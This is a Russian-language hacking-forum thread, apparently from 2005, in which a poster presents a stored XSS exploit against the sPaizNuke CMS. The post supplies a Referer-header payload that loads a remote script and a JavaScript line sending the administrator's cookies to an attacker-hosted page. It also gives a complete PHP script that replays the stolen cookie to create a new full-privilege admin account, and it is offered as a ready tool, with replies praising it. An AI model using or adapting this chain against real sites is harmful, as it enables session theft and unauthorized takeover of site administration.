Получение администраторских привилегий в sPaizNuke(last ver. on 10.12.2005)

Discussion in 'Уязвимости' started by PinkPanther, 27 Dec 2005.

  1. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
    Итак, сейчас хочу рассмотреть одну из активных XSS уязвимостей, которая позволяет атакующему захватить кукисы администратора, и тем самым, авторизироватся под админом посредством подстановки его кук. На данном этапе, Я не остановился, и был написан полноценный функциональный сниффер, авторизирующийся под украденными куками, который позволяет создать нового админа с максимальными привилегиями. Само собой, это все происходит за доли секундs, и без никакого палева.

    [XSS уязвимость]
    Рассмотрим одну из уязвимостей. Она довольно интересная, посему Я остановился именно на ней.
    XSS дырка находится в модуле админки «Переходы с сайтов». Именно там хранятся реферы с других сайтов, повидимому для статистики. Так вот, если отправить запрос сайту с поддельным рефером(Referer), где в его роли будет выступать XSS код, то он успешно сохранится в «Переходы с сайтов». Так как фильтрация в скрипте, отвечающего за проверяние(сохранение) входящего Referer`a, не предусмотрена, то админ просматривая статистику, словит нашу XSS`ку.

    PHP:
    <td style="text-align:left" class="tab"><a target="_blank" href="<scrіpt>alert(document.cookie)</scrіpt>"><scrіpt>alert(document.cookie)</scrіpt> </a></td>
    Как же подделать запрос стандартными методами? Можно написать свой собственный скрипт, а можно воспользоватся специальной прогой, например InetCrack (C)Algol-antichat.ru.
    Теперь, если послать поддельный запрос, который ты видишь на скрине, админ словит алерт со своими куками.



    [​IMG]

    Само собой, от этого толку мало, посему напишем небольшой скрипт, который будет принимать украденные куки администратора, авторизироватся под ними, заходить в модуль «Управление администраторами» и создавать нового админа с максимальными привилегиями.

    [Функциональный сниффер]
    PHP:
    <? 
    // PinkPanther [[email protected]]
     
    $query=$_SERVER["QUERY_STRING"];
    $query=urldecode($query);
     
    //Add new admin
    $name="new_admin";
    $login="new_admin";
    $email="[email protected]";
    $password="12345";
    $host="Yjazvimyj_host";
    $full_link="http://".$host."/admin.php?mod=admins";
     
    $data="mod=admins&add_name=".$name."&add_aid=".$login."&add_email=
    "
    .$email."&add_pwd=".$password."&mod_list%5B%5D=admins&mod_list%5B%5D=articles&mod_list%5B%5D=backup&mod_list%5B%5D=banners&mod_list%5B%5D=blocker&mod_list%5B%5D=blocks&mod_list%5B%5D=configure&mod_list%5B%5D=files&mod_list%5B%5D=messages&mod_list%5B%5D=modules&mod_list%5B%5D=news&mod_list%5B%5D=optimize&mod_list%5B%5D=pages&mod_list%5B%5D=polls&mod_list%5B%5D=referers&mod_list%5B%5D=topics&mod_list%5B%5D=uploader&op=AddAdmin";
    $data_lenght=strlen($data);
     
    $header="POST ".$full_link." HTTP/1.0\r\n";
    $header.="Referer: ".$full_link."\r\n";
    $header.="Content-Type: application/x-www-form-urlencoded\r\n";
    $header.="Host: ".$host."\r\n";
    $header.="Content-Length: ".$data_lenght."\r\n";
    $header.="Cookie:".$query."\r\n";
    $header.="\r\n";
    $header.="".$data."";
     
    $fp=fsockopen("$host"80); 
    fwrite($fp$header); 
    fclose($fp); 
    ?> 
    [Собираем все вместе]
    Теперь соберем все вместе.
    Для начала составим XSS сплойт, который бы отсылал админские куки на наш скрипт. Стандартная конструкция нам не подойдет, ибо максимальная длинна Referer`a должны быть не больше 60 символов. Посему, прийдется подгружать скрипт с удаленного ресурса.
    Поместим на наш сайт(«site») файл 1.js, в который впишем, например!!, такую вот строку:

    PHP:
    document.write('<iframe width=0 height=0 srс="'+'http://site/nuke.php''?'+document.cookie+'"></iframe>'); 
    где, «site» – это сайт на котором находится наш php скрипт называющийся nuke.php.
    После отправим запрос уязвимому ресурсу, где в Referer поместим строку:

    PHP:
    <scrіpt srс='http://site/1.js'></scrіpt
    Теперь, когда администратор просмотрит «Переходы с сайтов», его куки улетят на функциональный сниффер, который создаст нового админа с именем «new_admin» и паролем «123456».

    Сайт на котором будет находится наш php сплойт, должен поддерживать выполнение php и разрешать исходящие соединения.
     
    8 people like this.
  2. Barsik

    Barsik Блoxacтый

    Joined:
    16 Jan 2005
    Messages:
    267
    Likes Received:
    238
    Reputations:
    182
    Наконецто что то для Спайз Нюки вышло!
     
  3. Morph

    Morph Пирожок с Маком

    Joined:
    13 Aug 2004
    Messages:
    790
    Likes Received:
    113
    Reputations:
    169